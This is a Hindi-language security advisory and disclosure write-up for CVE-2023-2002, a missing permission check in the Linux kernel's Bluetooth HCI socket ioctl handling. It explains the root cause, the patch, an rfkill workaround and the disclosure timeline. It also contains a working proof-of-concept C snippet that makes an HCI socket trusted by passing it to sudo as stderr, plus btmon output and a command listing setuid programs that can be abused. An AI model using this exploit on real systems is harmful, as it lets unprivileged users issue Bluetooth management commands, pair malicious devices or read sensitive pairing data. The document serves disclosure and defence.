lrh2000/cve-2023-2002लिनक्स ब्लूटूथ - बिना विशेषाधिकार वाले उपयोगकर्ता के रूप में मनमाने प्रबंधन कमांड चलाएँ
लिनक्स कर्नेल के ब्लूटूथ सबसिस्टम में HCI सॉकेट्स के ioctl सिस्टम कॉल्स को संभालते समय एक अपर्याप्त अनुमति जाँच पाई गई है। इसके कारण उचित CAP_NET_ADMIN क्षमता के बिना कार्य आसानी से HCI सॉकेट्स को trusted (विश्वसनीय) के रूप में चिह्नित कर सकते हैं। Trusted सॉकेट्स का उद्देश्य प्रबंधन कमांड और इवेंट्स, जैसे कि नए डिवाइस के साथ पेयरिंग या कनेक्ट करना, भेजने और प्राप्त करने को सक्षम बनाना है। परिणामस्वरूप, बिना विशेषाधिकार वाले उपयोगकर्ता एक trusted सॉकेट प्राप्त कर सकते हैं, जिससे प्रबंधन कमांड का अनधिकृत निष्पादन होता है। इस एक्सप्लॉइट के लिए केवल सामान्य रूप से उपयोग किए जाने वाले setuid प्रोग्राम्स (जैसे, su, sudo) की उपस्थिति की आवश्यकता होती है।
इस भेद्यता का प्रत्यक्ष कारण निम्नलिखित कोड स्निपेट है:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
ioctl सिस्टम कॉल का कार्यान्वयन यह सत्यापित करता है कि कॉल को आमंत्रित करने वाले कार्य के पास HCI_SOCK_TRUSTED फ्लैग को अपडेट करने के लिए आवश्यक CAP_NET_ADMIN क्षमता है या नहीं। हालाँकि, यह जाँच केवल कॉल करने वाले कार्य पर विचार करती है, जो आवश्यक रूप से सॉकेट खोलने वाला नहीं हो सकता है। उदाहरण के लिए, सॉकेट को fork और execve का उपयोग करके किसी अन्य कार्य के साथ साझा किया जा सकता है, जहाँ बाद वाला कार्य विशेषाधिकार प्राप्त हो सकता है, जैसे कि एक setuid प्रोग्राम। इसके अलावा, यदि सॉकेट का उपयोग stdout या stderr के रूप में किया जाता है, तो tty पैरामीटर प्राप्त करने के लिए एक ioctl कॉल की जाती है, जिसे strace कमांड के माध्यम से सत्यापित किया जा सकता है।
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
tty पैरामीटर के लिए ioctl कॉल HCI सॉकेट्स पर कभी सफल नहीं होंगी, लेकिन वे HCI सॉकेट्स को trusted के रूप में चिह्नित करने के लिए पर्याप्त हैं। इसलिए, एक बिना विशेषाधिकार वाला प्रोग्राम trusted HCI सॉकेट्स रख सकता है, जिससे वह प्रबंधन कमांड और इवेंट्स भेजने और प्राप्त करने में सक्षम हो जाता है, क्योंकि trusted फ्लैग कभी साफ़ नहीं होगा।
एक्सप्लॉइटेशन नीचे दिए गए जितना आसान हो सकता है:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
इसके अलावा, btmon का उपयोग यह पुष्टि करने के लिए किया जा सकता है कि सॉकेट trusted हो जाता है और क्रमिक प्रबंधन कमांड सफल होंगी:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
ब्लूटूथ डिवाइसों की पावर स्थिति बदलने के लिए एक पूर्ण PoC एक्सप्लॉइट GitHub पर पाया जा सकता है।
यदि सफलतापूर्वक एक्सप्लॉइट किया जाता है, तो पहचानी गई भेद्यता में ब्लूटूथ संचार की गोपनीयता, अखंडता और उपलब्धता से समझौता करने की क्षमता है। हमलावर इस भेद्यता का उपयोग कंट्रोलर को दुर्भावनापूर्ण डिवाइसों के साथ पेयर करने के लिए कर सकते हैं, भले ही ब्लूटूथ सेवा अक्षम हो या स्थापित न हो। विशिष्ट डिवाइसों को पेयर होने से रोकना, या OOB डेटा जैसी कुछ संवेदनशील जानकारी पढ़ना भी संभव है।
यह एक्सप्लॉइटेबल भेद्यता लिनक्स कर्नेल में v4.9 से मौजूद है। अधिक विशेष रूप से, यह कमिट f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets") के बाद एक्सप्लॉइटेबल हो जाती है। इस कमिट से पहले, भेद्यता का एक्सप्लॉइट करने के लिए एक विशेषाधिकार प्राप्त प्रोग्राम को HCI सॉकेट बाइंड करने के लिए धोखा देना आवश्यक था, जिसे व्यवहार में ट्रिगर करना बहुत कठिन (यदि असंभव नहीं) है। हालाँकि, कमिट के बाद, इसके लिए केवल एक विशेषाधिकार प्राप्त प्रोग्राम को ioctl सिस्टम कॉल आमंत्रित करने के लिए धोखा देना आवश्यक है, जो केवल एक setuid प्रोग्राम के अस्तित्व पर निर्भर करता है, जैसा कि ऊपर दर्शाया गया है।
एक्सप्लॉइटेशन तब तक काम करता है जब तक setuid प्रोग्राम (या अधिक सटीक रूप से, CAP_NET_ADMIN क्षमता वाले प्रोग्राम) मौजूद हैं जो stdin, stdout, या stderr पर ioctl कॉल आमंत्रित करते हैं। अधिकांश Linux डिस्ट्रोस में, एक त्वरित (लेकिन बहुत मोटा) परीक्षण से पता चलता है कि काफी कुछ setuid प्रोग्राम ioctl सिस्टम कॉल का उपयोग कर रहे हैं, जिन्हें नीचे दी गई तालिका में 'V' से चिह्नित किया गया है:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
strace आउटपुट की मैन्युअल रूप से जाँच करने के बाद, यह पाया गया कि ये सभी ioctl उपयोगकर्ता कुछ tty पैरामीटर प्राप्त करने या सेट करने के लिए stdin, stdout, या stderr पर ioctl कॉल का उपयोग कर रहे हैं। ध्यान दें कि इन setuid प्रोग्रामों को बिल्कुल कोई तर्क (arguments) नहीं दिए गए हैं। यदि कुछ क्राफ्टेड तर्क दिए जाते हैं, तो ioctl उपयोगकर्ताओं की संख्या बढ़ सकती है। परिणामस्वरूप, कई Linux डिस्ट्रोस इस एक्सप्लॉइटेशन के प्रति संवेदनशील हो सकते हैं।
एक साइड नोट के रूप में, हालाँकि, Android डिवाइसों के प्रभावित होने की संभावना नहीं है क्योंकि एक्सप्लॉइटेशन के लिए setuid प्रोग्रामों के अस्तित्व की आवश्यकता होती है, जिन्हें Android कुछ समय से उपयोग करने से बचता आया है। इसके अलावा, Android पर CAP_NET_ADMIN क्षमता वाले कोई एप्लिकेशन भी नहीं हैं।
linux-bluetooth मेलिंग सूची पर एक पैच पोस्ट किया गया है जो capable() को sk_capable() से प्रतिस्थापित करके इस भेद्यता को ठीक करता है, जहाँ sk_capable() न केवल वर्तमान कार्य की बल्कि यह भी जाँच करता है कि सॉकेट खोलने वाले के पास आवश्यक क्षमता है। साथ ही, एक और प्रस्तुत पैच hci_sock_ioctl() की शुरुआत में कमांड की वैधता की जाँच करके और कमांड अमान्य होने पर कुछ भी करने से पहले तुरंत ENOIOCTLCMD त्रुटि कोड के साथ लौटकर ioctl प्रोसेसिंग लॉजिक को मजबूत करता है।
एक वर्कअराउंड के रूप में, यदि ब्लूटूथ डिवाइसों का उपयोग बिल्कुल नहीं किया जा रहा है (लेकिन डिवाइस को भौतिक रूप से हटाना संभव नहीं है), तो rfkill का उपयोग करके डिवाइसों को आसानी से ब्लॉक किया जा सकता है, जो डिवाइसों को पावर होने से रोकेगा। ऐसा करने से, ब्लूटूथ डिवाइसों को पावर करने के लिए प्रबंधन कमांड भेजना सफल नहीं होगा। यह इस भेद्यता के प्रभाव को काफी हद तक कम कर सकता है।
भविष्य में समान भेद्यताओं से बचने के दो तरीके हैं: लिनक्स कर्नेल को हार्डनिंग करना और यूज़रस्पेस setuid प्रोग्रामों को हार्डनिंग करना।
यह भेद्यता CVE-2014-0181 के साथ बिल्कुल समान सिद्धांत साझा करती है। CVE-2014-0181 के मामले में, समस्या सॉकेट के खोलने वाले के आधार पर Netlink संचालन को अधिकृत करने के लिए एक तंत्र की कमी थी, जो स्थानीय उपयोगकर्ताओं को setuid प्रोग्राम के stdout या stderr के लिए Netlink सॉकेट का उपयोग करके नेटवर्क कॉन्फ़िगरेशन को संशोधित करने की अनुमति देता है।
2023-04-04: मैंने लिनक्स कर्नेल में ब्लूटूथ प्रोटोकॉल स्टैक के अपने ऑडिट के दौरान इस भेद्यता की खोज की।
2023-04-09: मैंने इस भेद्यता की सूचना पैच के प्रारंभिक संस्करण के साथ लिनक्स कर्नेल सुरक्षा टीम और वितरण विक्रेताओं को दी।
2023-04-12: इस भेद्यता को एक CVE ID सौंपा गया, जो CVE-2023-2002 है।
2023-04-13: अनुरक्षकों के साथ कई दिनों की चर्चा के बाद, पैच को तदनुसार अपडेट किया गया।
2023-04-16: इस भेद्यता का खुलासा सार्वजनिक oss-security मेलिंग सूची और GitHub (यहाँ) पर किया गया। सार्वजनिक linux-bluetooth मेलिंग सूची में दो पैच पोस्ट किए गए (पहला, दूसरा)।
2023-05-01: फिक्स मेनलाइन कर्नेल में (v6.4 मर्ज विंडो के हिस्से के रूप में), साथ ही v6.3.1, v6.2.14, v6.1.27 और v5.15.110 में शामिल हो गया। इसे v5.10, v5.4, v4.19 और v4.14 कर्नेल के अगले स्थिर रिलीज़ के लिए भी कतारबद्ध किया गया।
2023-05-17: अंत में, फिक्स सभी स्थिर कर्नेल में शामिल हो गया। विशेष रूप से, इसे v5.10.180, v5.4.243, v4.19.283 और v4.14.315 कर्नेल पर भी लागू किया गया।